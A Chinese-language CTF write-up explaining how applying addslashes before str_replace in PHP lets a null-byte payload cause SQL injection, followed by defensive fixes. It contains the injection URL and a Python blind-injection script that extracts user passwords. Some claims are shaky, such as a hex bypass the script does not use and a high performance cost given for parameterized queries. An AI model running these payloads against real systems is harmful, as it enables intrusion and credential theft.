从一道CTF题看PHP安全函数的致命组合:空字节如何击溃双重过滤
当addslashes遇上str_replace,这对本该并肩作战的安全卫士竟成了漏洞制造机。2019年全国大学生信息安全竞赛(CISCN)决赛中的一道Web题,向我们展示了安全函数组合使用时的典型陷阱——空字节\0如何像特洛伊木马般穿透双重防御。
1. 漏洞现场还原:一个被忽视的转义盲区
题目中的image.php.bak文件暴露了这样一段危险代码:
$id = addslashes($_GET["id"]); $id = str_replace(array("\\0","%00","\\'","'"), "", $id);看似严密的双重过滤,实则暗藏杀机。让我们拆解攻击者输入?\id=\0时的处理流程:
- 第一层防御(addslashes):将反斜杠转义为
\\,得到\\0 - 第二层过滤(str_replace):删除
\0子串后,神奇的事情发生了——剩余字符组合成了新的转义符\'
最终生成的SQL语句变成:
SELECT * FROM images WHERE id='\' OR path='...'那个孤独的反斜杠,让原本保护系统的单引号变成了攻击武器。
2. 漏洞原理深度剖析:字符处理的层叠效应
2.1 addslashes的工作机制
这个函数会在四个特殊字符前插入反斜杠:
- 单引号
'→\' - 双引号
"→\" - 反斜杠
\→\\ - NULL字节
\0→\\0
但问题出在后续的str_replace处理阶段。
2.2 替换操作的致命顺序
代码试图过滤这些危险字符:
str_replace(array("\\0","%00","\\'","'"), "", $id)当输入\0时:
- addslashes先将其转为
\\0 - str_replace再删除
\0子串,留下\
这个残留的反斜杠恰好成为转义字符,使得后续的单引号失去语法意义。
3. 实战利用:从字符处理到完整注入
攻击者通过精心构造的payload完成注入:
?id=\0&path=or 1=1%23对应的SQL语句变为:
SELECT * FROM images WHERE id='\' OR path='or 1=1#'其中#注释掉后续内容,or 1=1实现永真条件。
3.1 自动化注入脚本示例
import requests flag = '' for i in range(1, 500): for y in range(32, 127): url = f'http://target.com/image.php?id=\\0&path=or(ASCII(SUBSTR((select password from users),{i},1))={y})%23' if "JFIF" in requests.get(url).content.decode(errors='ignore'): flag += chr(y) print(flag) break这个脚本通过布尔盲注逐字符提取数据,关键点在于:
- 使用十六进制绕过引号过滤(如
0x7573657273表示users) - 通过图片特征(JFIF)判断注入结果
4. 防御方案:安全函数的正确打开方式
4.1 参数化查询是终极解决方案
$stmt = $con->prepare("SELECT * FROM images WHERE id=? OR path=?"); $stmt->bind_param("ss", $id, $path); $stmt->execute();4.2 如果必须使用过滤函数
- 统一字符编码:强制使用UTF-8防止编码混淆
mb_convert_encoding($input, 'UTF-8', 'UTF-8'); - 调整处理顺序:先替换后转义
$id = str_replace(array("\0","%00"), "", $id); $id = addslashes($id); - 添加额外验证:
if (strpos($id, chr(0)) !== false) { die("Null byte detected!"); }
4.3 过滤函数组合对比表
| 方案 | 处理顺序 | 防注入效果 | 性能影响 |
|---|---|---|---|
| 危险组合 | 先addslashes后str_replace | 可被\0绕过 | 低 |
| 安全组合 | 先str_replace后addslashes | 有效防御 | 中 |
| 参数化查询 | 无过滤直接绑定 | 完全免疫 | 高 |
5. 从CTF到真实世界:历史漏洞启示录
类似的漏洞模式在真实项目中屡见不鲜:
- WordPress < 4.9.6:用户注册处的
addslashes+stripslashes组合漏洞 - phpMyAdmin 4.8.1:SQL解析中的转义处理缺陷
- 多个PHP框架:早期版本对多重转义的处理不一致
这些案例都在提醒我们:安全不是简单的函数堆砌,而是需要理解底层机制的系统工程。下次当你写下addslashes时,不妨多问一句:这个转义真的如我所愿吗?